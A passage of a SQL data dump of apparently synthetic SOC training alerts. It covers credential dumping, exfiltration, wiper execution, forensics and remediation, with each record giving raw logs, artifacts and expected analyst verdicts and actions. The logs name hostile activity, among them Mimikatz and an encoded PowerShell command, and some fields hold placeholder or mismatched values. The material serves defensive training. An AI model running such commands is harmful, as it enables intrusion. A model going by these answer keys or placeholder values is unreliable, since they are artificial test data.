malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Privileged user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:35Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.143.221.45\\\",\\\"file_name\\\":\\\"lsass_dump.exe\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"administrator\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"detected_tool\\\":\\\"Mimikatz\\\",\\\"network_traffic\\\":{\\\"bytes_sent\\\":2048,\\\"bytes_received\\\":1024,\\\"protocol\\\":\\\"HTTP\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:18.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:35Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.143.221.45\\\",\\\"file_name\\\":\\\"lsass_dump.exe\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"administrator\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"detected_tool\\\":\\\"Mimikatz\\\",\\\"network_traffic\\\":{\\\"bytes_sent\\\":2048,\\\"bytes_received\\\":1024,\\\"protocol\\\":\\\"HTTP\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:18.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:35Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.143.221.45\\\",\\\"file_name\\\":\\\"lsass_dump.exe\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"administrator\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"detected_tool\\\":\\\"Mimikatz\\\",\\\"network_traffic\\\":{\\\"bytes_sent\\\":2048,\\\"bytes_received\\\":1024,\\\"protocol\\\":\\\"HTTP\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:18.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:35Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.143.221.45\\\",\\\"file_name\\\":\\\"lsass_dump.exe\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"administrator\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"detected_tool\\\":\\\"Mimikatz\\\",\\\"network_traffic\\\":{\\\"bytes_sent\\\":2048,\\\"bytes_received\\\":1024,\\\"protocol\\\":\\\"HTTP\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:18.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:35Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.143.221.45\\\",\\\"file_name\\\":\\\"lsass_dump.exe\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"administrator\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"detected_tool\\\":\\\"Mimikatz\\\",\\\"network_traffic\\\":{\\\"bytes_sent\\\":2048,\\\"bytes_received\\\":1024,\\\"protocol\\\":\\\"HTTP\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(375, 'File Transfer Activity to External Server', 'critical', 'Data Loss Prevention (DLP) System', 'Sensitive information begins to flow out of the network, sent to an external server under the attackers\' control. Advanced techniques are being utilized to exfiltrate data.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"dlp-20231012-001\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_sha256\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"file_name\":\"financial_reports_q3_2023.xlsx\",\"transfer_protocol\":\"HTTPS\",\"transfer_size\":\"15MB\",\"action_taken\":\"Alert Triggered\"}', '2026-01-03 23:52:02', '2026-02-17 05:28:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Lookup\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory Service\",\"verdict\":\"clean\",\"details\":\"Username of employee John Doe.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash with multiple detections as potential data exfiltration malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_reports_q3_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Classification System\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive financial data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.971Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-001\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_sha256\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"file_name\\\":\\\"financial_reports_q3_2023.xlsx\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"action_taken\\\":\\\"Alert Triggered\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.971Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-001\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_sha256\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"file_name\\\":\\\"financial_reports_q3_2023.xlsx\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"action_taken\\\":\\\"Alert Triggered\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.971Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-001\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_sha256\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"file_name\\\":\\\"financial_reports_q3_2023.xlsx\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"action_taken\\\":\\\"Alert Triggered\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.971Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-001\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_sha256\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"file_name\\\":\\\"financial_reports_q3_2023.xlsx\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"action_taken\\\":\\\"Alert Triggered\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.971Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-001\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_sha256\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"file_name\\\":\\\"financial_reports_q3_2023.xlsx\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"action_taken\\\":\\\"Alert Triggered\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(376, 'Wiper Logic Execution Detected', 'critical', 'Endpoint Detection and Response (EDR)', 'As the operation nears its climax, the wiper logic is activated, threatening to erase critical data under the guise of a ransomware attack. The EDR detected the execution of a known wiper malware file on the endpoint, which matches with advanced threat patterns.', 'Impact', 'T1485: Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:45:12Z\",\"event_type\":\"process_execution\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"CORP-WIN10-07\",\"process_name\":\"wiper_exe_activated.exe\",\"process_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"initiating_user\":\"jdoe\",\"attacker_ip\":\"185.92.220.45\",\"attack_command\":\"wiper_exe_activated.exe /silent\",\"attacker_domain\":\"malicious-domain.com\",\"detection_method\":\"EDR heuristic analysis\"}', '2026-01-03 23:52:02', '2026-02-17 05:28:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known wiper malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain used by attacker for command and control.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"wiper_exe_activated.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename of the wiper malware detected on endpoint.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee account involved in the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(377, 'Forensic Artifact Recovery Initiated', 'high', 'Incident Response Tools', 'The incident response team has initiated recovery of forensic artifacts to preserve crucial evidence. The operation is aimed at understanding the attack vectors and preventing future occurrences. Advanced techniques were used to collect and analyze data from compromised systems.', 'Containment', 'T1113 - Screen Capture', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"IR-20231015-0023\",\"source_ip\":\"192.168.1.15\",\"detected_malware\":{\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious_tool.exe\"},\"attacker_ip\":\"203.0.113.45\",\"user\":\"compromised_user\",\"forensic_artifacts\":[{\"type\":\"memory_dump\",\"filename\":\"memdump_20231015.raw\"},{\"type\":\"disk_image\",\"filename\":\"disk_image_20231015.img\"}],\"action\":\"artifact_recovery_initiated\",\"status\":\"success\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address assigned to compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Known malicious hash associated with advanced persistent threat.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"malicious\",\"details\":\"Detected as part of the ongoing investigation into the breach.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting unusual activity patterns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'IR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"IR-20231015-0023\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"detected_malware\\\":{\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\"},\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"forensic_artifacts\\\":[{\\\"type\\\":\\\"memory_dump\\\",\\\"filename\\\":\\\"memdump_20231015.raw\\\"},{\\\"type\\\":\\\"disk_image\\\",\\\"filename\\\":\\\"disk_image_20231015.img\\\"}],\\\"action\\\":\\\"artifact_recovery_initiated\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"IR-20231015-0023\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"detected_malware\\\":{\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\"},\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"forensic_artifacts\\\":[{\\\"type\\\":\\\"memory_dump\\\",\\\"filename\\\":\\\"memdump_20231015.raw\\\"},{\\\"type\\\":\\\"disk_image\\\",\\\"filename\\\":\\\"disk_image_20231015.img\\\"}],\\\"action\\\":\\\"artifact_recovery_initiated\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"IR-20231015-0023\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"detected_malware\\\":{\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\"},\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"forensic_artifacts\\\":[{\\\"type\\\":\\\"memory_dump\\\",\\\"filename\\\":\\\"memdump_20231015.raw\\\"},{\\\"type\\\":\\\"disk_image\\\",\\\"filename\\\":\\\"disk_image_20231015.img\\\"}],\\\"action\\\":\\\"artifact_recovery_initiated\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"IR-20231015-0023\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"detected_malware\\\":{\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\"},\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"forensic_artifacts\\\":[{\\\"type\\\":\\\"memory_dump\\\",\\\"filename\\\":\\\"memdump_20231015.raw\\\"},{\\\"type\\\":\\\"disk_image\\\",\\\"filename\\\":\\\"disk_image_20231015.img\\\"}],\\\"action\\\":\\\"artifact_recovery_initiated\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"IR-20231015-0023\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"detected_malware\\\":{\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\"},\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"forensic_artifacts\\\":[{\\\"type\\\":\\\"memory_dump\\\",\\\"filename\\\":\\\"memdump_20231015.raw\\\"},{\\\"type\\\":\\\"disk_image\\\",\\\"filename\\\":\\\"disk_image_20231015.img\\\"}],\\\"action\\\":\\\"artifact_recovery_initiated\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(378, 'Mitigation and Remediation Measures Implemented', 'medium', 'System Recovery Logs', 'The recovery team has successfully deployed remediation measures to neutralize the threat and restore affected systems. Mitigation strategies included blocking identified malicious IP addresses and resetting credentials for compromised user accounts.', 'Recovery', 'T1556 - Credentials from Password Stores', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:23:45Z\",\"event_id\":\"RECOVERY-20231015-0001\",\"source\":\"system_recovery\",\"action\":\"remediation_implemented\",\"affected_systems\":[{\"hostname\":\"server1.internal.network\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.15\",\"malicious_ip\":\"198.51.100.34\",\"compromised_user\":\"j.doe\",\"affected_files\":[{\"filename\":\"malicious_payload.exe\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\"}],\"remediation_actions\":[\"blocked_ip\",\"reset_credentials\",\"removed_malicious_files\"]}]}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAudit\",\"verdict\":\"internal\",\"details\":\"User account had unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.974Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T09:23:45Z\\\",\\\"event_id\\\":\\\"RECOVERY-20231015-0001\\\",\\\"source\\\":\\\"system_recovery\\\",\\\"action\\\":\\\"remediation_implemented\\\",\\\"affected_systems\\\":[{\\\"hostname\\\":\\\"server1.internal.network\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.15\\\",\\\"malicious_ip\\\":\\\"198.51.100.34\\\",\\\"compromised_user\\\":\\\"j.doe\\\",\\\"affected_files\\\":[{\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\"}],\\\"remediation_actions\\\":[\\\"blocked_ip\\\",\\\"reset_credentials\\\",\\\"removed_malicious_files\\\"]}]}\"},{\"timestamp\":\"2026-02-01T20:31:18.974Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T09:23:45Z\\\",\\\"event_id\\\":\\\"RECOVERY-20231015-0001\\\",\\\"source\\\":\\\"system_recovery\\\",\\\"action\\\":\\\"remediation_implemented\\\",\\\"affected_systems\\\":[{\\\"hostname\\\":\\\"server1.internal.network\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.15\\\",\\\"malicious_ip\\\":\\\"198.51.100.34\\\",\\\"compromised_user\\\":\\\"j.doe\\\",\\\"affected_files\\\":[{\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\"}],\\\"remediation_actions\\\":[\\\"blocked_ip\\\",\\\"reset_credentials\\\",\\\"removed_malicious_files\\\"]}]}\"},{\"timestamp\":\"2026-02-01T20:30:18.974Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T09:23:45Z\\\",\\\"event_id\\\":\\\"RECOVERY-20231015-0001\\\",\\\"source\\\":\\\"system_recovery\\\",\\\"action\\\":\\\"remediation_implemented\\\",\\\"affected_systems\\\":[{\\\"hostname\\\":\\\"server1.internal.network\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.15\\\",\\\"malicious_ip\\\":\\\"198.51.100.34\\\",\\\"compromised_user\\\":\\\"j.doe\\\",\\\"affected_files\\\":[{\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\"}],\\\"remediation_actions\\\":[\\\"blocked_ip\\\",\\\"reset_credentials\\\",\\\"removed_malicious_files\\\"]}]}\"},{\"timestamp\":\"2026-02-01T20:29:18.974Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T09:23:45Z\\\",\\\"event_id\\\":\\\"RECOVERY-20231015-0001\\\",\\\"source\\\":\\\"system_recovery\\\",\\\"action\\\":\\\"remediation_implemented\\\",\\\"affected_systems\\\":[{\\\"hostname\\\":\\\"server1.internal.network\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.15\\\",\\\"malicious_ip\\\":\\\"198.51.100.34\\\",\\\"compromised_user\\\":\\\"j.doe\\\",\\\"affected_files\\\":[{\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\"}],\\\"remediation_actions\\\":[\\\"blocked_ip\\\",\\\"reset_credentials\\\",\\\"removed_malicious_files\\\"]}]}\"},{\"timestamp\":\"2026-02-01T20:28:18.974Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 